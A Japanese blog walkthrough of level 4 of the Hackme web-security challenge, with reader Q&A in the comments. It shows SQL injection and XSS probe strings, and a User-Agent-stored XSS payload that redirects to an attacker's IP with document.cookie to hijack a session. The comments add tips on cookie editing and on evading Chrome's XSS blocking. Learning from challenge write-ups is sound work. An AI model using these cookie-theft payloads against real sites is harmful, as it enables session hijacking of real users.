ひとこと

― 今日のひとこと ―
気付けば前回更新してから2年以上経ってた
(2023.10.25)

2016年1月21日木曜日

Hackme攻略 Lv4

3年振りくらいか?Hackmeに再挑戦。Lv4を攻略する。



以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。




[Lv4]




1.ヒントを探す

URLやソースコードには特に手掛かりなし。
とりあえずフォームでのXSSとSQLインジェクションを試してみるか。

ID :
<script>alert("test")</script>
Password :
' or 1=1--

でログインを試みる。結果は・・・

まぁ失敗ですよね。フォームから攻撃するわけではなさそうだ。

なぜだか知らないがアクセスログが表示されている。
ログインに失敗したユーザの接続元IPアドレスまたはログインに成功したユーザのユーザ名と、
ユーザが送信したUser-Agentが表示されている。


2.考える

表示されたログを読み解くと、どうやらfoobarというユーザはまだログアウトしていないようだ。
それをわざわざ明示するあたり、これはセッションハイジャックせよということなのだろう。

セッションを奪うにはターゲットとするユーザのセッションIDを知る必要がある。
セッションIDはCookieに記録されるので、どうにかしてターゲットのCookieの値を窃取すればいいわけだ。
Webアプリケーションでサニタイジングが適切に行われていなければ、
HTTPリクエストにスクリプトを混入させることでXSSを実行してCookieの値を盗み出すことができるかもしれない。

しかし、その場合に重要なのは
「XSSではクライアントPC上でスクリプトが実行される」「Cookieは通信の度にやりとりされる」
ということだ。

つまり、今回foobarのセッションIDを窃取してセッションハイジャックを成功させるには、
以下の条件をクリアしなければならないわけだな。

A :
HackmeのWebページにスクリプトを埋め込むことが可能であること
B :
Aをクリアした上で、スクリプトが埋め込まれたWebページにfoobarがアクセスし、
foobarのPCでスクリプトが実行されること

無理じゃん。
foobarは問題のために便宜的に用意されたユーザであって、実在しないんだろ。
サーバ側で実行されているプログラムのメモリダンプか何かから有効なセッションIDを探せとでも?
まさかそんな壮絶に面倒くさいことにはならないよな・・・

何か見落としてはいないだろうか。過去の問題を思い起こした。
そういえば、Lv2も解いてて少し引っかかったんだよな。
結局すごく単純な条件文でSQLインジェクションできたけど、
あれだってもっと複雑なSQL文で問い合わせたりその結果をプログラムで検証されたりしていたら、
あんなにすんなりクリアすることはできなかったはずだ。
つまるところHackmeは、今やあまり現実的でない構成に思えるほど挑戦者に親切な、
あくまでゲーム的な楽しみを提供するためのサイトなのではなかろうか・・・

とりあえず深く考えず、思いついたことを試してみようか。
条件Bはひとまず無視して、条件Aについて考えよう。

画面には、ユーザ名またはIPアドレスとUAが過去5件分表示されている。
過去5件分が表示されるということは、自分が改竄した内容が後の数人にも表示される
(=後の数人に対してXSSが有効である)可能性があるということだ。

スクリプトを埋め込めそうな箇所はないか?

ユーザ名はサーバ側で管理されているはずだから却下。
IPアドレスは、IPパケットの送信元IPアドレス部を詐称することは可能だがそうするとレスポンスを受け取れないし、そもそもスクリプトを書けるほどデータを格納できないので却下。
User-AgentはHTTPリクエストのヘッダを書き換えればいいし、簡単なスクリプトを格納できる程度のデータ量は許容される。こいつがあやしい。


3.検証する

User-Agentにスクリプトを埋め込み、それが実行できるかどうかを確認する。
HTTPリクエストを書き換える方法は色々あるが、今回はFirefoxのアドオンである『UAControl』を使った。


再度ログインしてみると・・・

・・・自分が意図したものとは違うが、XSSが可能だそうだ。
まぁ本当にできてしまうとHackmeのサイト自体が危険ってことになりかねないから、何らかのコントロールを行っているのだろう。
ログの表示を見た感じではWebページの改竄もできている?



4.Hackyou!

ではCookieの値を窃取するスクリプトを送ってみよう。
ブラウザで動作するスクリプトといえばJavaScriptだが、
自分はJavaScriptに明るくないのでどんな処理が可能なのかはよく知らない。
本当にalertとdocument.cookieくらいしか知らないからな。でもやるべきことは決まっている。
foobarがアクセスしてきた時に、そのCookieの値をこちらが管理する端末に送信させればいいのだ。

具体的には、スクリプトでWebページを移動したり読み込んだりして、パラメータにCookieの値を持つHTTPリクエストが自分の元に届けばいい。
<img src="http://{自分のIP}/a?b="+{foobarのcookie} height="1" ookie="" width="1" />
とか
<iframe foobar="" height="1" ookie="" src="http://{自分のIP}/a?b="+{foobarのcookie} width="1"></iframe>


とかでもいいのかもしれないけど、JavaScriptだけを使う方がシンプルに書けそうだ。
JavaScriptでWebページを移動するには「document.location="{移動先のURL}"」と書くらしいので、これを使って次のスクリプトを送ってみよう。
これでいけそうなら一時的にサーバを稼働させて、パケットをキャプチャしてみるか。。
<script>document.location="http://{自分のIP}/a?b="+document.cookie;</script>
再びUser-Agentを書き換えてログインしてみる。


すると・・・

なんかでた!!!

というかやっぱりこういう感じなのね・・・
Hackmeには挑戦用のアカウントでログインしてるからそのセッションIDは変えられないし、
これならサーバを用意しなくてもいいからね。なんかちょっと残念な具合だけどね。


いま表示された値をCookieに追加する。これも方法は色々だがFirefoxのアドオン『Firebug』を使った。


再度ログインすると・・・


Lv4クリア!



これでいいのか?って感じはするけど解けてよかった
でもどっと疲れたぞ・・・

10 件のコメント:

  1. EditThisCookie1.6.3で
    Cookieを追加使用しようとしましたが追加できません
    プラグインが邪魔しているのかとOFFにしてもダメでした
    F12でconsoleに
    document.cookie='sessionID '
    と入力でもコンテンツブロックなのか
    consoleに
    net::ERR_BLOCKED_BY_CLIENTとなります。

    + で追加 レ で変更を適用をしても追加されない現象が解決できません
    ご教示頂けたら幸いです。

    返信削除
    返信
    1. エラーメッセージから推察するに、Chromeの広告ブロック系プラグインが一番疑わしいのですが、OFFにしても変化なしだったのですね。

      とにかくCookieを追加できればよいという理解ですが、解決策としては3つあると思います。
      1.Chromeではなく別のブラウザ(+拡張機能)を使う
      2.F12 > Application > Storage > Cookiesで手動追加
      3.プロキシツールを使う

      1については、Chrome特有のエラーが出るなら別のブラウザ使うのが手っ取り早いかなと。
      エラー解消手段としては楽ですが、HackmeをLv3までクリアし直すか途中から再開できるようユーザ登録するかしないといけないのでちょっと面倒ですね。

      2の方法は、ブラウザの標準機能を使うのでブロックされない&エラーにならない気がします。何より手軽ですし、まずはこちらをお試しください。

      3の方法は、実際に脆弱性診断や侵入テストで使われるようなプロキシツールを使うものです。
      ブラウザから送信されたHTTPリクエストや、サーバから受信しブラウザに届く前のHTTPレスポンスを書き換えることができます。
      通信内容を直接書き換えるので、Cookieをいじるにあたりブラウザ上のプラグイン等の影響は受けません。
      慣れない内は扱い辛いかもしれませんので今回は取り急ぎ2の方をお勧めしますが、今後Webセキュリティを学ばれるのであれば非常に役立つため、興味があれば試してみてください。
      (Burp, OWASP ZAP, Fiddlerの3つが有名ですが個人的にはBurpがお勧めです。なおCommunityEditionなら無料です)

      削除
  2. ズルかもしれませんがLevel4の答えを教えて下さい。
    ibとpass

    返信削除
    返信
    1. 残念ながらこのLevel4、IDとパスワードで突破するタイプではないのです!!

      削除
  3. すみません。
    超初心者なので絶対パスワードがいると思ってました。
    Chromebookを使っています。
    申し訳ないのですがもっとかんたんに説明していただけると幸いです。
    Firebugはダウンロードしても使用できないようです。

    返信削除
    返信
    1. 謝ることはありません!
      要は、クロスサイトスクリプティング(XSS)でセッションハイジャックすればいいということです。

      とはいえ、セッションの概念やXSSの仕組みについてはWeb開発の経験がないとイメージし辛いかもしれませんね。
      幸い、単語や概念などわからない部分があってもGoogle検索しまくれば大抵なんとかなるので、検索力を伸ばす練習と思って試してみてください。
      (この分野、どんなに凄腕であっても知らないことだらけなので、プロでもみんな常に検索しまくってます。。)

      お互い頑張りましょう!


      ちなみに、Cookieの編集はブラウザの標準機能でできるはずなので、Firebugは不要です。

      削除
  4. ありがとうございます。
    精一杯頑張ってみます。

    返信削除
    返信
    1. 応援してます!!

      この業界には「Try Harder(=限界だと思っても更に頑張り続ける)」を信条とするコアな方々が一部いまして、自分もその一人です。実力を伸ばす上で、これは本当に重要な考え方です。
      Let's Try harder !!!

      削除
  5. UAコントロールをするためにはデベロッパーツールが必要なのですか。
    何故か検証が使えません。
    その場合どうすれば良いでしょうか。

    返信削除
    返信
    1. ブラウザ単体でUA変えながらテストするのはちょっと面倒ですね(いちいち該当のネットワークトラフィックを選択してHTTPリクエスト書き換えて再送、という手順になるので)。
      Chromebookは持ってないのでどんな感じかわかりませんが、ブラウザとしてChromeをお使いであればウェブストアに公開されている無償の拡張機能の、UserAgentを変更できるやつを利用するのはいかがでしょうか。

      ちなみにLv.4で使うXSSという手法はChromeによって自動ブロックされる可能性があるので、その場合はそれを回避する方法を調査するか(何か方法があったはず)、Firefox等の他ブラウザを使うことをお勧めします。

      削除